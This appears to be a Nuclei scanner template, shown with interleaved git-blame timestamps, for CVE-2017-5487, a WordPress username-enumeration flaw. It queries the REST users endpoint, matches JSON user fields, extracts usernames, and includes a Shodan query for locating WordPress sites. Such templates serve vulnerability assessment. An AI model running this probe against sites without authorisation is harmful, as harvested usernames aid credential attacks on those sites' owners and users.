2021-06-10 16:27:07 +00:00
id : CVE-2017-5487
2022-04-22 10:38:41 +00:00
2021-06-10 16:27:07 +00:00
info :
name : WordPress Core < 4.7.1 - Username Enumeration
2022-05-27 03:44:47 +00:00
author : Manas_Harsh,daffainfo,geeknik,dr0pd34d
2021-09-10 11:26:40 +00:00
severity : medium
2022-04-22 10:38:41 +00:00
description : WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://www.exploit-db.com/exploits/41497
2022-04-01 08:51:42 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-5487
2022-05-17 09:18:12 +00:00
- https://www.wordfence.com/blog/2016/12/wordfence-blocks-username-harvesting-via-new-rest-api-wp-4-7/
- https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-5487
cwe-id : CWE-200
2022-05-27 03:44:47 +00:00
metadata :
shodan-query : http.component:"WordPress"
2022-05-27 04:01:50 +00:00
verified : "true"
2022-08-27 04:41:18 +00:00
tags : cve,cve2017,wordpress,wp,edb
2022-04-22 10:38:41 +00:00
2021-06-10 16:27:07 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/"
2022-05-27 03:44:47 +00:00
2021-09-01 23:59:23 +00:00
stop-at-first-match : true
2021-06-10 16:27:07 +00:00
matchers-condition : and
matchers :
2022-05-27 03:44:47 +00:00
2021-06-10 16:27:07 +00:00
- type : word
2022-05-27 03:44:47 +00:00
part : body
2021-06-10 16:27:07 +00:00
words :
- '"id":'
- '"name":'
- '"avatar_urls":'
2021-07-13 18:58:52 +00:00
condition : and
2022-05-27 03:44:47 +00:00
- type : word
part : header
words :
- "application/json"
- type : status
status :
- 200
2021-08-02 05:08:39 +00:00
extractors :
2022-03-26 11:15:50 +00:00
- type : json
2022-05-26 23:23:47 +00:00
part : body
2022-05-27 03:44:47 +00:00
name : "usernames"
2022-05-26 23:23:47 +00:00
json :
- '.[] | .slug'
2022-05-27 03:48:34 +00:00
- '.[].name'